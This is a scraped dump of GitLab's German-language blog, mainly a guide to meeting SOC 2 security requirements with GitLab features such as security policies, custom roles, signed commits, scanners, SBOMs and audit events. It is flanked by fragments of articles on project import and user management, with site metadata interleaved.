Methode kann auch verwendet werden, um eine Kopie eines Remote-Projekts beizubehalten und synchron zu halten, d. h. zu [spiegeln](https://docs.gitlab.com/ee/user/project/repository/mirror/). Mit der Spiegelung kannst du Repositories auf verschiedenen Plattformen verwalten und synchronisieren. Dies kann gewünscht werden, um den privaten und den öffentlichen Zugang zum Projekt zu trennen und gleichzeitig sicherzustellen, dass beide Enden die gleiche Kopie haben, was beim Open-Sourcing interner Projekte nützlich ist. Es kann auch bei der Zusammenarbeit mit Auftragnehmern verwendet werden, wenn beide Parteien unterschiedliche Plattformen verwenden und der Zugriff auf die Codebase auf beiden Seiten erforderlich ist. \n\n## Zusammenfassung\n\nDer Import und die Migration zwischen GitLab-Instanzen und aus anderen Quellen ist ein wichtiger Prozess, der gut geplant werden muss. So kann man klar darlegen, was mit welcher Methode importiert wird. Während bei den meisten Methoden von Drittanbietern Projektelemente importiert werden, einschließlich Dateien, Tickets und Merge Requests, sind bei einigen Methoden Probleme und Einschränkungen bekannt. Der [Abschnitt „GitLab-Import“](https://docs.gitlab.com/ee/user/project/import/) der Dokumentation enthält detaillierte Informationen zu allen unterstützten Methoden, damit du deine Migration entsprechend planen kannst.\n\n> #### Möchtest du dein Lernen auf ein neues Niveau heben? [Registriere dich für die englischsprachigen Kurse der GitLab University](https://university.gitlab.com/). Du kannst auch sofort mit [einer kostenlosen Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/devsecops/) loslegen.\n",[680,767,746],{"slug":2241,"featured":6,"template":682},"getting-started-with-gitlab-how-to-import-your-projects-to-gitlab","content:de-de:blog:getting-started-with-gitlab-how-to-import-your-projects-to-gitlab.yml","Getting Started With Gitlab How To Import Your Projects To Gitlab","de-de/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab.yml","de-de/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab",{"_path":2247,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2248,"content":2254,"config":2259,"_id":2261,"_type":16,"title":2262,"_source":17,"_file":2263,"_stem":2264,"_extension":20},"/de-de/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"title":2249,"description":2250,"ogTitle":2249,"ogDescription":2250,"noIndex":6,"ogImage":2251,"ogUrl":2252,"ogSiteName":1396,"ogType":1440,"canonicalUrls":2252,"schema":2253},"GitLab-Leitfaden: SOC-2-Sicherheitsanforderungen erfüllen","Verstehe die Anwendungssicherheitsfunktionen der DevSecOps-Plattform von GitLab, die den Anforderungen von System and Organization Controls 2 entsprechen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099576/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1172300481_IGPi3TS4VzFgcqhvEdBlR_1750099575518.jpg","https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab-Leitfaden: SOC-2-Sicherheitsanforderungen erfüllen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-01-22\",\n      }",{"title":2249,"description":2250,"authors":2255,"heroImage":2251,"date":2256,"body":2257,"category":765,"tags":2258},[762],"2025-01-22","Für Unternehmen, die mit vertraulichen Kundendaten arbeiten, ist es nicht nur ein bewährtes Vorgehen, die SOC 2 (System and Organization Controls 2) einzuhalten, sondern ist oft sogar eine Notwendigkeit. SOC 2 ist ein strenger Prüfungsstandard, der vom American Institute of Certified Public Accountants entwickelt wurde, mit dem Serviceunternehmen hinsichtlich ihrer Sicherheit, Verfügbarkeit, Prozessintegrität, Vertraulichkeit und ihres Datenschutzes bewertet werden.\n\n\n SOC 2 ist zwar rechtlich nicht bindend, wird aber zunehmend wichtig, unter anderem deswegen, weil Verstöße gegen den Standard immer wieder in den Nachrichten zu finden sind. Durch die Einhaltung der SOC-2-Vorgaben können Kund(inn)en Vertrauen zu Serviceunternehmen aufbauen, da sie sich sicher sein können, dass ihre Daten entsprechend sicher gespeichert werden und die Sicherheitsmaßnahmen von einer externen Stelle geprüft wurden.\n\n\nIn diesem Leitfaden sehen wir uns die Voraussetzungen für eine SOC-2-Compliance an und erläutern, wie GitLab deinem Unternehmen dabei hilft, die höchsten Standards für Anwendungssicherheit einzuhalten.\n\n\n## Welche Anforderungen werden von SOC 2 festgelegt?\n\n\nDer Compliance-Prozess umfasst ein Audit durch unabhängige Auditor(inn)en, die die Konzeption und betriebliche Effektivität der Sicherheitsmaßnahmen eines Unternehmens bewerten. Dieser Prozess kann sehr kostspielig sein, und viele Unternehmen sind nicht ausreichend auf ein Audit vorbereitet. Da der SOC-2-Auditprozess normalerweise rund ein Jahr dauert, ist es wichtig, bereits vor dem Audit effiziente Prozesse einzuführen.\n\n\nUm SOC-2-Compliance zu erreichen, muss ein Unternehmen die Anforderungen der Trust Services Criteria erfüllen:\n\n\n| Kriterium | Anforderungen |\n\n| :---- | :---- |\n\n| Sicherheit | - Implementierung von Kontrollen gegen unautorisierten Zugriff \u003Cbr> - Einführung von Vorgehensweisen zum Erkennen und Mindern von Risiken\u003Cbr> - Einrichtung von Systemen, um Sicherheitsvorfälle zu erkennen und zu beheben |\n\n| Verfügbarkeit | - Sicherstellung, dass Systeme wie vereinbart für den Betrieb zugänglich sind\u003Cbr> - Überwachung der aktuellen Nutzung und Kapazität \u003Cbr> - Identifizierung und Behebung von Umgebungsbedrohungen, die sich auf die Systemverfügbarkeit auswirken können |\n\n| Prozessintegrität | - Erfassung genauer Angaben zu Systemeingaben und -ausgaben \u003Cbr> - Implementierung von Verfahren, um Systemfehler schnell zu identifizieren und zu korrigieren \u003Cbr> - Festlegung von Prozessaktivitäten, um sicherzustellen, dass die Produkte und Dienstleistungen den Spezifikationen entsprechen |\n\n| Vertraulichkeit | - Identifizierung und Schutz vertraulicher Informationen \u003Cbr> - Einführung von Richtlinien für Datenaufbewahrungszeiträume \u003Cbr> - Implementierung von Sicherheitsmaßnahmen zur Zerstörung vertraulicher Daten nach Ablauf der Aufbewahrungsfrist |\n\n| Datenschutz | - Einholen von Zustimmung vor der Erfassung vertraulicher personenbezogener Daten \u003Cbr> - Offenlegung der Datenschutzrichtlinien in klarer, einfacher Sprache \u003Cbr> - Erfassung der Daten nur für rechtmäßige Zwecke und aus vertrauenswürdigen Quellen |\n\n\u003Cbr>\n\n\nBeachte, dass diese Anforderungen nicht einmalig zu erfüllen sind, sondern eher ein kontinuierlicher Prozess sind. Die Auditor(inn)en kontrollieren die Effektivität im Laufe der Zeit.\n\n\n## So erreichst du die Sicherheitsanforderungen und behältst sie bei\n\n\nGitLab bietet mehrere standardmäßige Funktionen, mit denen du sicherstellen kannst, dass deine SOC-2-Sicherheitsanforderungen erfüllt werden:\n\n\n| Sicherheitsanforderung | Relevante Funktion |\n\n| :---- | :--- |\n\n| Implementierung von Kontrollen gegen unautorisierten Zugriff | - Vertrauliche Tickets und Merge Requests \u003Cbr> - Benutzerdefinierte Rollen und granulare Berechtigungen \u003Cbr> - Sicherheitsrichtlinien \u003Cbr> - Verifizierte Commits \u003Cbr> - Signierte Container-Images \u003Cbr> - Code-Eigentümer(innen) \u003Cbr> - Geschützte Branches |\n\n| Einrichten von Systemen, um Sicherheitsvorfälle zu erkennen und zu beheben | - Sicherheitslücken-Scans \u003Cbr> - Merge-Request-Sicherheitswidget \u003Cbr> - Compliance-Center für Sicherheitslücken-Einblicke \u003Cbr> - Audit-Events \u003Cbr> - Abhängigkeitsliste für Sicherheitslückenbericht \u003Cbr> - KI: GitLab Duo Vulnerability Explanation \u003Cbr> - KI: GitLab Duo Vulnerability Resolution |\n\n| Einführung von Vorgehensweisen zum Erkennen und Mindern von Risiken | Alle oben genannten Tools können von Sicherheitsteams verwendet werden, um Prozesse dafür zu entwickeln, wie vorzugehen ist, wenn Sicherheitslücken erkannt werden und wie sie zu beheben sind. |\n\n\u003Cbr>\n\nSehen wir uns diese Abschnitte und die dazugehörigen Sicherheitsfunktionen für diese Anforderungen nun genauer an. Beachte, dass ein [GitLab-Ultimate-Abonnement](https://about.gitlab.com/de-de/free-trial/) und die richtigen Rollen und Berechtigungen nötig sind, um viele der aufgelisteten Funktionen nutzen zu können. Weitere Informationen findest du in der entsprechenden Dokumentation.\n\n\n## Implementiere Kontrollen zum Schutz vor unbefugtem Zugriff\n\n\nEs ist wichtig, robuste Zugriffskontrollen zu implementieren, um die Assets eines Unternehmens zu schützen, die rechtliche Compliance sicherzustellen, die betriebliche Kontinuität zu gewährleisten und das Vertrauen zu fördern. Mit GitLab kannst du Kontrollen implementieren, um das [Prinzip der geringsten Privilegien (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) zu befolgen und vor unbefugtem Zugriff zu schützen. Wir werden uns kurz folgende Themen ansehen:\n\n\n* [Sicherheitsrichtlinien](#security-policies)\n\n* [Benutzerdefinierte Rollen und granulare Berechtigungen](#custom-roles-and-granular-permissions)\n\n* [Schutz von Branches und Code-Eigentümer(innen)](#branch-protections-and-codeowners)\n\n* [Verifizierte Commits](#verified-commits)\n\n\n### Sicherheitsrichtlinien\n\n\nDie Sicherheitsrichtlinien von GitLab werden auch als Leitlinien bezeichnet und ermöglichen es Sicherheits- und Compliance-Teams, im gesamten Unternehmen konsistente Kontrollen einzuführen. Dies trägt dazu bei, Sicherheitsvorfälle zu vermeiden, die Compliance-Standards einzuhalten und Risiken zu reduzieren, indem bewährte Vorgehensweisen hinsichtlich der Sicherheit automatisch und im großen Maßstab erzwungen werden.\n\n\n![Merge-Request-Approvalrichtlinien in Aktion](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750099596925.png)\n\n\n\u003Ccenter>\u003Ci>Merge-Request-Approvalrichtlinien in Aktion\u003C/i>\u003C/center>\u003Cbr>\n\n\nDie folgenden Arten von Richtlinien sind verfügbar:\n\n\n* Scan-Ausführungsrichtlinie: Erzwinge Sicherheitsscans als Teil einer Pipeline oder nach einem festgelegten Zeitplan\n\n* Merge-Request-Approvalrichtlinie: Erzwinge Einstellungen und Approvalregeln auf Projektebene basierend auf den Scanergebnissen\n\n* Pipeline-Ausführungsrichtlinie: Erzwinge CI/CD-Jobs als Teil von Projekt-Pipelines\n\n* Sicherheitslücken-Managementrichtlinie: Automatisiere Workflows für das Sicherheitslücken-Management\n\n\nHier ist ein Beispiel, wie die Compliance mit einer Pipeline-Ausführungsrichtlinie sichergestellt werden kann:\n\n\n1. Erstelle ein Projekt, das mehrere Compliance-Jobs enthält. Ein Beispiel für einen Job kann die Überprüfung der Berechtigungen von bereitgestellten Dateien sein. Diese Jobs sollten so allgemein gehalten sein, dass sie auf mehrere Anwendungen angewendet werden können.\n\n2. Beschränke die Berechtigungen des Projekts auf Sicherheits-/Compliance-Beauftragte. Erlaube Entwickler(inne)n nicht, Jobs zu entfernen. Dies ermöglicht eine Aufgabentrennung.\n\n3. Füge die Compliance-Jobs gesammelt in die Projekte ein, in denen sie benötigt werden. Erzwinge, dass sie immer ausgeführt werden, aber erlaube Approvals durch die Teamleitung, um die Entwicklung nicht zu blockieren. Dadurch wird sichergestellt, dass Compliance-Jobs immer ausgeführt werden und nicht von Entwickler(inne)n entfernt werden können. So bleibt deine Umgebung konform.\n\n\n> ##### Erfahre in unserer [Dokumentation zu Sicherheitsrichtlinien (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/policies/), wie du Sicherheitsrichtlinien erstellen kannst.\n\n\n### Benutzerdefinierte Rollen und granulare Berechtigungen\n\n\nMit benutzerdefinierten Berechtigungen in GitLab können Unternehmen verfeinerte Zugriffskontrollen entwickeln, die über die standardmäßigen, rollenbasierten Berechtigungen hinausgehen. Das hat unter anderem folgende Vorteile:\n\n\n* Genauere Zugriffskontrolle\n\n* Bessere Sicherheits-Compliance\n\n* Reduziertes Risiko für versehentlichen Zugriff\n\n* Optimierte Benutzerverwaltung\n\n* Support für komplexe Unternehmensstrukturen\n\n\n![Benutzerdefinierte Rollen in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/custom_roles_aHR0cHM6_1750099596926.png)\n\n\n\u003Ccenter>\u003Ci>Rollen- und Berechtigungseinstellungen, einschließlich benutzerdefinierter Rollen\u003C/i>\u003C/center>\n\n\n> ##### Erfahre in unserer [Dokumentation zu benutzerdefinierten Rollen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/custom_roles.html), wie du benutzerdefinierte Rollen mit granularen Berechtigungen erstellst.\n\n\n### Schutz von Branches und Code-Eigentümer(innen)\n\n\nGitLab hilft dir mit zwei wichtigen Funktionen, noch besser zu kontrollieren, wer deinen Code ändern kann:\n\n* Mit Branch Protection kannst du Regeln festlegen, wer bestimmte Branches aktualisieren darf, z. B. dass Approvals vor dem Zusammenführen von Änderungen nötig sind.\n\n* Mit Code Ownership werden automatisch die richtigen Personen gefunden, die Codeänderungen überprüfen dürfen, indem Dateien mit ihren zugewiesenen Eigentümer(inne)n abgeglichen werden.\n\n\nZusammen tragen diese Funktionen dazu bei, dass dein Code sicher und hochwertig ist, indem garantiert wird, dass die richtigen Personen Änderungen überprüfen und genehmigen.\n\n\n![Geschützte Branches](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/protected_branches_aHR0cHM6_1750099596928.png)\n\n\n\u003Ccenter>\u003Ci>Einstellungen für geschützte Branches\u003C/i>\u003C/center>\n\n\n> ##### Erfahre in der Dokumentation (nur in englischer Sprache verfügbar) zu [geschützten Branches](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) und [Code-Eigentümer(inne)n](https://docs.gitlab.com/ee/user/project/codeowners/), wie du geschützte Branches sowie mit Code-Eigentümer(inne)n erstellst.\n\n\n### Verifizierte Commits\n\n\nWenn du deine Commits digital signierst, beweist du, dass sie wirklich von dir stammen und nicht von jemandem, der sich als dich ausgibt. Stell dir eine digitale Signatur wie einen einzigartigen Stempel vor, den nur du erstellen kannst. Wenn du deinen öffentlichen GPG-Schlüssel in GitLab hochlädst, kann dieser Stempel überprüft werden. Wenn der Stempel übereinstimmt, markiert GitLab deinen Commit als `Verified`. Du kannst dann Regeln einrichten, um nicht signierte Commits abzulehnen oder alle Commits von Benutzer(innen) zu blockieren, die ihre Identität nicht verifiziert haben.\n\n\n![Commit mit verifizierter Signatur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/signed_commit_aHR0cHM6_1750099596929.png)\n\n\n\u003Ccenter>\u003Ci>Commit mit verifizierter Signatur\u003C/i>\u003C/center>\u003Cbr>\n\n\nCommits können mit folgenden Signaturen versehen werden:\n\n\n* SSH-Schlüssel\n\n* GPG-Schlüssel\n\n* Persönliches x.509-Zertifikat\n\n\n> ##### Weitere Informationen zu verifizierten Commits findest du in unserer [Dokumentation zu signierten Commits (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/repository/signed_commits/).\n\n\n## Einrichtung von Systemen zur Erkennung und Behebung von Sicherheitsvorfällen\n\n\nUm eine robuste Sicherheitslage beizubehalten, ist es unerlässlich, Systeme einzurichten, die Sicherheitsvorfälle erkennen und beheben. So stellst du die Einhaltung von Vorschriften sicher, minimierst potenzielle Schäden und ermöglichst es deinem Unternehmen, effektiv auf die kontinuierliche Weiterentwicklung der Bedrohungslandschaft zu reagieren.\n\n\nGitLab bietet Sicherheitsscans und Sicherheitslückenverwaltung für den gesamten Anwendungslebenszyklus. Wir werden uns kurz folgende Aspekte ansehen:\n\n\n* [Sicherheitsscans und Sicherheitslückenverwaltung](#security-scanning-and-vulnerability-management)\n\n* [Software-Stückliste](#software-bill-of-materials)\n\n* [System-Audits und Reviews der Sicherheitslage](#system-auditing-and-security-posture-review)\n\n* [Übersicht über Compliance und Sicherheitslage](#compliance-and-security-posture-oversight)\n\n\n### Sicherheitsscans und Verwaltung von Sicherheitslücken\n\n\nGitLab bietet zahlreiche verschiedene Sicherheitsscanner für den gesamten Lebenszyklus deiner Anwendung:\n\n\n* Statische Anwendungssicherheitstests (SAST)\n\n* Dynamische Anwendungssicherheitstests (DAST)\n\n* Container-Scans\n\n* Abhängigkeitssuche\n\n* IaC-Scans (Infrastructure as Code)\n\n* Abdeckungsgesteuertes Fuzzing\n\n* Web-API-Fuzzing\n\n\n Diese Scanner können über Vorlagen zu deiner Pipeline hinzugefügt werden. Um beispielsweise SAST- und Abhängigkeitssuche-Jobs in der Testphase auszuführen, kannst du einfach den folgenden Code in deine .gitlab-ci.yml-Datei einfügen:\n\n\n```yaml\n\nstages:   - test\n\ninclude:   - template: Jobs/Dependency-Scanning.gitlab-ci.yml   - template: Jobs/SAST.gitlab-ci.yml   ```\n\n\nDiese Jobs können über Umgegungsvariablen und mit der GitLab-Job-Syntax vollständig angepasst werden. Sobald eine Pipeline gestartet wird, werden die Sicherheitsscanner ausgeführt und erkennen Sicherheitslücken im Diff zwischen dem aktuellen Branch und dem Zielbranch. Die Sicherheitslücke kann in einem Merge Request (MR) angezeigt werden, der eine detaillierte Übersicht bietet, bevor der Code mit dem Zielbranch zusammengeführt wird. Der MR zeigt die folgenden Informationen zur Sicherheitslücke an:\n\n\n* Beschreibung\n\n* Status\n\n* Schweregrad\n\n* Evidenz\n\n* Identifikatoren\n\n* URL (falls zutreffend)\n\n* Anfrage/Antwort (falls zutreffend)\n\n* Reproduktions-Asset (falls zutreffend)\n\n* Schulung (falls zutreffend)\n\n* Code-Flow (bei erweiterten SAST)\n\n\n![MR-Ansicht der eingeführten Sicherheitslücke](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750099596931.png)\n\n\n\u003Ccenter>\u003Ci>MR-Ansicht der eingeführten Sicherheitslücke\u003C/i>\u003C/center>\u003Cbr>\n\n\nEntwickler(innen) können diese Daten verwenden, um Sicherheitslücken zu beheben, ohne die Workflows des Sicherheitsteams zu verlangsamen. Sie können Sicherheitslücken mit einer Begründung auch verwerfen, um den Überprüfungsprozess zu beschleunigen, oder ein vertrauliches Ticket erstellen, um die Sicherheitslücke zu verfolgen.\n\n\nWenn der Code in einem MR mit dem Standard-Branch (normalerweise auf Produktionsebene) zusammengeführt wird, wird der Sicherheitslückenbericht mit den Ergebnissen des Sicherheitsscans gefüllt. Diese Ergebnisse können von Sicherheitsteams verwendet werden, um die in der Produktion gefundenen Sicherheitslücken zu verwalten und zu kategorisieren.\n\n\n![Sicherheitslückenbericht mit Batch-Status-Einstellung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099596936.png)\n\n\n\u003Ccenter>\u003Ci>Sicherheitslückenbericht mit Batch-Status-Einstellung\u003C/i>\u003C/center>\u003Cbr>\n\n\nWenn du im Sicherheitslückenbericht auf eine Sicherheitslückenbeschreibung klickst, wird dir die Sicherheitslückenseite angezeigt, die die gleichen Sicherheitslückendaten wie der MR enthält, sodass bei der Bewertung der Auswirkungen und der Behebung der Sicherheitslücke nur eine einzige Quelle der Wahrheit gilt. Auf der Seite der Sicherheitslücke kannst du die KI-Funktionen von [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) nutzen, um dir die Sicherheitslücke erklären zu lassen und einen MR zur Behebung zu erstellen, wodurch die Zeit bis zur Lösung verkürzt wird.\n\n\n> ##### Weitere Informationen zu den in GitLab enthaltenen Sicherheitsscans und zum Umgang mit Sicherheitslücken findest du in unserer [Dokumentation zur Anwendungssicherheit (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/).\n\n\n### Software-Stückliste\n\n\nGitLab kann eine detaillierte Liste von allen Komponenten erstellen, die deine Software verwendet – sozusagen eine „Zutatenliste“ für deinen Code. Diese Liste, die als Software-Stückliste ([SBOM](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/)) bezeichnet wird, zeigt dir den gesamten externen Code, von dem dein Projekt abhängig ist, einschließlich der Teile, die du direkt verwendest, und deren eigener Abhängigkeiten. Für jedes Element kannst du sehen, welche Version du verwendest, welche Lizenz es hat und ob es bekannte Sicherheitsprobleme gibt. So kannst du den Überblick über den Inhalt deiner Software behalten und potenzielle Risiken erkennen.\n\n\n![Liste der Abhängigkeiten auf Gruppenebene (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/sbom_aHR0cHM6_1750099596937.png)\n\n\n\u003Ccenter>\u003Ci>Liste der Abhängigkeiten auf Gruppenebene (SBOM)\u003C/i>\u003C/center>\n\n\n> ##### Erfahre in unserer [Dokumentation zur Liste der Abhängigkeiten (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/dependency_list/), wie du auf die Liste der Abhängigkeiten zugreifen und sie verwenden kannst.\n\n\n### System-Audits und Überprüfung der Sicherheitslage\n\n\nGitLab verfolgt alles, was in deinem System passiert, z. B. wer wann welche Änderungen vorgenommen hat. Stell dir das wie eine Überwachungskamera für deinen Code vor. Diese Aufzeichnungen helfen dir:\n\n\n* verdächtige Aktivitäten zu erkennen\n\n* den regulatorischen Behörden zu zeigen, dass du die Regeln befolgst\n\n* zu erkennen, was passiert ist, wenn etwas schiefgelaufen ist\n\n* zu sehen, wie deine Teams GitLab verwenden\n\n\nAll diese Informationen werden an einem Ort gespeichert und können dadurch bei Bedarf einfach überprüft und angesehen werden. Du kannst zum Beispiel Audit Events verwenden, um Folgendes zu verfolgen:\n\n\n* Wer hat die Berechtigungsstufe bestimmter Benutzer(innen) für ein GitLab-Projekt geändert und wann?\n\n* Wer hat neue Benutzer(innen) hinzugefügt oder Benutzer(innen) entfernt und wann?\n\n\n![Audit Events auf Projektebene](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/audit_events_aHR0cHM6_1750099596938.png)\n\n\n\u003Ccenter>\u003Ci>Audit Events auf Projektebene\u003C/i>\u003C/center>\n\n\n> ##### Weitere Informationen zu Audit Events findest du in der [Dokumentation zu Audit Events (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/compliance/audit_events.html).\n\n\n## Compliance und Überwachung der Sicherheitslage\n\n\nDas Sicherheits-Dashboard von GitLab fungiert als Kontrollraum, an dem alle deine Sicherheitsrisiken an einem Ort anzeigt werden. Anstatt verschiedene Sicherheitstools einzeln zu überprüfen, kannst du alle Ergebnisse zusammen auf einem Bildschirm sehen. So kannst du Sicherheitsprobleme in all deinen Projekten leicht erkennen und beheben.\n\n\n![Sicherheits-Dashboard auf Gruppenebene](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/security_dashboard_aHR0cHM6_1750099596939.png)\n\n\u003Ccenter>\u003Ci>Sicherheits-Dashboard auf Gruppenebene\u003C/i>\u003C/center>\n\n\n> ##### Weitere Informationen zu Sicherheits-Dashboards findest du in unserer [Dokumentation zum Sicherheits-Dashboard (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/security_dashboard/).\n\n\n## Einführung von Verfahren zur Identifizierung und Minderung von Risiken\n\n\nSicherheitslücken durchlaufen einen bestimmten Lebenszyklus. Ein Teil des Prozesses kann beispielsweise darin bestehen, dass für jeden anfälligen Code, der mit geschützten Branches zusammengeführt werden soll, mittels der Sicherheitsrichtlinien festgelegt wird, dass ein Approval erforderlich ist. Dann kann festgelegt werden, dass in der Produktion entdeckter anfälliger Code priorisiert, bewertet, behoben und anschließend validiert werden muss:\n\n\n* Die Kriterien für die Priorisierung können sich nach dem Schweregrad der Sicherheitslücke richten, der von den GitLab-Scannern erkannt wird.\n\n* Die Bewertung kann anhand der von GitLab Duo Vulnerability Explanation bereitgestellten Details zur Ausnutzung erfolgen.\n\n* Sobald die Sicherheitslücke behoben ist, kann sie mit den integrierten Regressionstests und Scannern von GitLab validiert werden.\n\n\nAuch wenn die Anforderungen jedes Unternehmens unterschiedlich sind, können mit GitLab als Plattform Risiken schnell identifiziert und mit geringerem Risiko behoben werden, als bei der Nutzung unterschiedlicher Tools der Fall wäre.\n\n\n### Best Practices für die SOC-2-Compliance\n\n\n* Etabliere eine starke Sicherheitskultur: Fördere Sicherheitsbewusstsein und Verantwortlichkeit in deinem gesamten Unternehmen.\n\n* Dokumentiere alles: Führe eine gründliche Dokumentation der Richtlinien, Verfahren und Kontrollen.\n\n* Automatisiere, wo möglich: Verwende Automatisierungstools, um Compliance-Prozesse zu optimieren und Fehler zu reduzieren.\n\n* Kommuniziere effektiv: Halte die Stakeholder(innen) über deine Compliance-Bemühungen auf dem Laufenden.\n\n* Hol dir fachkundige Beratung: Überlege, mit qualifizierten Berater(inne)n zusammenzuarbeiten, die dich auf deinem Weg zur SOC-2-Konformität unterstützen.\n\n\nEs ist ein bedeutendes Vorhaben, SOC-2-Compliance zu erreichen, aber die Vorteile sind unbestreitbar. Indem du dein Engagement für Anwendungssicherheit und betriebliche Exzellenz zeigst, fassen deine Kund(inn)en Vertrauen zu dir, verbesserst du deinen Ruf und behältst einen Wettbewerbsvorteil auf dem Markt.\n\n\n## Weiterlesen\n\n\nSieh dir die folgenden Ressourcen an, um mehr über GitLab und darüber zu erfahren, wie wir dich auf deinem Weg zur SOCv2-Compliance unterstützen:\n\n\n* [GitLab Ultimate](https://about.gitlab.com/de-de/pricing/ultimate/)\n\n* [Sicherheits- und Compliance-Lösungen von GitLab](https://about.gitlab.com/de-de/solutions/security-compliance/)\n\n* [Dokumentation zur Anwendungssicherheit mit GitLab](https://docs.gitlab.com/ee/user/application_security/)\n\n* [Tutorial-Projekt für DevSecOps mit GitLab (nur in englischer Sprache verfügbar)](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n",[767,765,746,745,680],{"slug":2260,"featured":92,"template":682},"guide-to-fulfilling-soc-2-security-requirements-with-gitlab","content:de-de:blog:guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","Guide To Fulfilling Soc 2 Security Requirements With Gitlab","de-de/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","de-de/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"_path":2266,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2267,"content":2273,"config":2280,"_id":2282,"_type":16,"title":2283,"_source":17,"_file":2284,"_stem":2285,"_extension":20},"/de-de/blog/getting-started-with-gitlab-how-to-manage-users",{"ogTitle":2268,"schema":2269,"ogImage":2270,"ogDescription":2271,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2272,"title":2268,"canonicalUrls":2272,"description":2271},"GitLab Benutzerverwaltung: Erste Schritte einfach erklärt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Erste Schritte mit GitLab: Benutzerverwaltung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2025-01-14\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097273/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097273817.png","Wir zeigen dir, wie du die GitLab Benutzerverwaltung nutzt. ✓ Projektmitglieder ✓ Gruppen ✓ Rollen ✓ Berechtigungen ➤ Jetzt mit GitLab loslegen!","https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users",{"heroImage":2270,"body":2274,"authors":2275,"updatedDate":2151,"date":2276,"title":2277,"tags":2278,"description":2279,"category":680},"*Willkommen zu unserer Serie „Erste Schritte mit GitLab“, in der wir Neueinsteiger(inne)n helfen, sich mit der DevSecOps-Plattform von GitLab vertraut zu machen.*\n\nDie Gewährleistung einer sicheren, konformen und kollaborativen Umgebung beginnt mit der grundlegendsten Aufgabe: der Verwaltung von Benutzer(inne)n. In diesem Tutorial zeigen wir dir, wie du Projektmitglieder einrichtest, Rollen und Berechtigungen zuweist und Gruppen und Untergruppen erstellst.\n\nHinweis: Um diesem Lernprogramm folgen zu können, solltest du ein GitLab-Konto besitzen, entweder über GitLab.com oder die Self-Managed-Instanz deines Unternehmens. Wenn du Hilfe brauchst, besuche unseren Grundlagenbereich der [GitLab University](https://university.gitlab.com/). (Die Kurse sind aktuell nur in englischer Sprache verfügbar.)\n\nLos geht’s.\n\n## Inhaltsverzeichnis\n\n- [Projektmitglieder](#projektmitglieder)\n- [Gruppenmitgliedschaften](#gruppenmitgliedschaften)\n  - [Untergruppen erstellen](#untergruppen-erstellen)\n  - [Gruppen verwalten](#gruppen-verwalten)\n- [Mehr erfahren](#mehr-erfahren)\n\nWenn du GitLab-Benutzer(innen) anlegst, haben sie nur Zugriff auf [ihre privaten und öffentlichen Projekte sowie auf Projekte mit interner Sichtbarkeit](https://docs.gitlab.com/ee/user/public_access.html) (nur in englischer Sprache verfügbar). Für dieses Tutorial ist dein Projekt streng geheim und nur eingeladene Mitglieder sollten darauf Zugriff haben – mit unterschiedlichen Berechtigungen. Um dies sicherzustellen, kannst du Benutzer(innen) als [Mitglieder des Projekts](https://docs.gitlab.com/ee/user/project/members/) (nur in englischer Sprache verfügbar) einladen.\n\n## Projektmitglieder\n\n![Anzeige der 